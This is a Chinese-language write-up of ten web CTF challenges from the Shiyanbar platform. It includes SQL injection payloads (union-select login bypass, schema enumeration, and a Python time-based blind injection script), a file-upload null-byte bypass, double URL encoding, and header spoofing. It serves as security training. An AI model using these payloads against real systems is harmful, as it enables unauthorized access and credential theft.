实验吧 CTF 题目之 WEB Writeup 通关大全 – 4
文章目录
- 上传绕过
- 题目链接
- 题目描述
- 解题思路
- NSCTF web200
- 题目链接
- 题目描述
- 解题思路
- 程序逻辑问题
- 题目链接
- 题目描述
- 解题思路
- what a fuck!这是什么鬼东西?
- 题目链接
- 题目描述
- 解题思路
- PHP大法
- 题目链接
- 题目描述
- 解题思路
- 这个看起来有点简单!
- 题目链接
- 题目描述
- 解题思路
- 貌似有点难
- 题目链接
- 题目描述
- 解题思路
- 头有点大
- 题目链接
- 题目描述
- 解题思路
- 猫抓老鼠
- 题目链接
- 题目描述
- 解题思路
- 看起来有点难
- 题目链接
- 题目描述
- 解题思路
实验吧Web题目系列4
上传绕过
题目链接
http://shiyanbar.com/ctf/1781
题目描述
bypass the upload格式:flag{}
解题思路
随意上传文件,发现提示只能上传图片文件,上传图片后,看到发送包的内容为
推测最后保存文件的名称为dir + filename,所以使用00截断来构造绕过php不能上传的问题。
flag{SimCTF_huachuan}
NSCTF web200
题目链接
http://shiyanbar.com/ctf/1760
题目描述
密文:a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
格式:flag:{}
解题思路
a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws
=》rot13解码:
n1mYotDfPRFRVdEYjhDNlZjYld2Y5IjOkdTN3EDNlhzM0gzZiFTZ2MjO4gjf
=>reverse:
fjg4OjM2ZTFiZzg0MzhlNDE3NTdkOjI5Y2dlYjZlNDhjYEdVRFRPfDtoYm1n
=》base64解码:
~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg
<?php
$_o="~88:36e1bg8438e41757d:29cgeb6e48c`GUDTO|;hbmg";
$_="";
for($_0=0;$_0
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
程序逻辑问题
题目链接
http://shiyanbar.com/ctf/62
题目描述
绕过
解题思路
打开题目后,发现源码中有index.txt,此文件为该题目源码,打开进行审计。
<html>
<head>
welcome to simplexue
</head>
<body>
if($_POST[user] && $_POST[pass]) {$conn = mysql_connect("********", "*****", "********");mysql_select_db("phpformysql") or die("Could not select database");if ($conn->connect_error) {die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pw from php where user='$user'";
$query = mysql_query($sql);
if (!$query) {printf("Error: %s\n", mysql_error($conn));exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pw"];if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) {echo "Logged in! Key:**************
";
}
else {echo("Log in failure!
");}
}
?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>
审计该题目,发现有两个条件。
- 首先通过user查询用户
- 然后通过查询出的用户,拿出pw和用户输入的pw进行比计较,如果相等,则登录成功。
存在的漏洞点:在查询用户时,user没有经过过去,可以进行注入,所以,通过构造注入,让查询出的结果能够被用户输入控制,和pw一样,就绕过了第二个比较。
直接给出payloaduser=' union select md5(1)# and &pass=1,这条语句拼出的sql语句为select pw from php where user='' union select md5(1)#‘。这样查询出的pw值就是用户输入的md5(1),当pass参数也输入1时,就绕过了条件了,得到flag :SimCTF{youhaocongming}。
what a fuck!这是什么鬼东西?
题目链接
http://shiyanbar.com/ctf/56
题目描述
what a fuck!这是什么鬼东西?
解题思路
打开题目,就可以看到是jsfuck编码,直接在浏览器console控制台执行这段代码就可以了。
flag : Ihatejs
PHP大法
题目链接
http://shiyanbar.com/ctf/54
题目描述
注意备份文件
解题思路
打开题目看到备份文件index.php.txt。
if(eregi("hackerDJ",$_GET[id])) {echo("not allowed!
");exit();
}$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{echo "Access granted!
";echo "flag: *****************}
";
}
?><br><br>
Can you authenticate to this website?
从源代码可以看到,当输入是hackerDJ时,题目会返回not allowed,当输入经过url解码时是hackerDJ时,返回flag。这里使用两次url编码,就可以绕过第一个条件,在第二个条件经过ruldecode后,两次编码的输入id转化为正常的ascii。payload %2568ackerDJ。
DUTCTF{PHP_is_the_best_program_language}
这个看起来有点简单!
题目链接
http://shiyanbar.com/ctf/33
题目描述
很明显。过年过节不送礼,送礼就送这个
解题思路
使用id=1 and 1=1,回显正常,使用id=1 and 1=2,回显中没有数据,易得此题目存在sql注入漏洞。后面直接给出payload。
id=1 union select 1,schema_name from information_schema.schemata
id=1 union select 1,table_name from information_schema.tables where table_schema=‘my_db’
id=1 union select 1,column_name from information_schema.columns where table_schema=‘my_db’
id=1 union select 1,k0y from thiskey
flag : whatiMyD91dump
貌似有点难
题目链接
http://shiyanbar.com/ctf/32
题目描述
不多说,去看题目吧。
解题思路
进入题目后,直接点开View the source code查看源代码。
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))$cip = $_SERVER["REMOTE_ADDR"];
else$cip = "0.0.0.0";
return $cip;
}$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
看源码,发现直接修改ip就可以了,抓包重放。
SimCTF{daima_shengji}
头有点大
题目链接
http://shiyanbar.com/ctf/29
题目描述
提示都这么多了,再提示就没意思了。
解题思路
根据题目意思要满足三个条件才可以:
- 安装.net9.9框架。
- 第二个是保证在英国地区。
- 第三个是用ie浏览器。
第一个和第三个我们可以在User-Agent后加上(MSIE 9.0;.NET CLR 9.9)来实现,最后一个在英国我们把语言改成en-gb即可。
猫抓老鼠
题目链接
http://shiyanbar.com/ctf/20
题目描述
catch!catch!catch!嘿嘿,不多说了,再说剧透了
解题思路
这是一道脑洞题!所以访问抓包,看到响应包中有一个字段Content-Row,将这个参数的值当做pass+key提交,就拿到了flag。
看起来有点难
题目链接
http://shiyanbar.com/ctf/2
题目描述
切,你那水平也就这么点了,这都是什么题啊!!!
解题思路
使用各种万能注入不能登录,测试payloadhttp://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and sleep(10) and ''='&pass=&action=login,发现响应时间很长,确认该题目为sleep盲注。
给出脚本的payloadadmin=admin' and case when(substr(password,%s,1)='%s') then sleep(10) else sleep(0) end and ''='&pass=&action=login,其中第一个%s 为password字段的第几位开始,第二个%s表示ascii字符。
__author__ = 'netfish'
# -*-coding:utf-8-*-import requests
import timepayloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-' #不区分大小写的flag = ""
key=0
print("Start")
for i in range(1,50):if key == 1:breakfor payload in payloads:starttime = time.time()#记录当前时间headers = {"Host": "ctf5.shiyanbar.com","User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3","Accept-Encoding": "gzip, deflate","Cookie": "Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1470994390,1470994954,1470995086,1471487815; Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*67928%2CnickName%3Ayour","Connection": "keep-alive",}url = "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and case when(substr(password,%s,1)='%s') then sleep(5) else sleep(0) end and ''='&pass=&action=login" %(i,payload)#数据库res = requests.get(url, headers=headers)if time.time() - starttime > 5:flag += payloadprint('\n pwd is:', flag)breakelse:if payload == '-':key = 1break
print('\n[Finally] current pwd is %s' % flag)
跑出密码 idnuenna
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
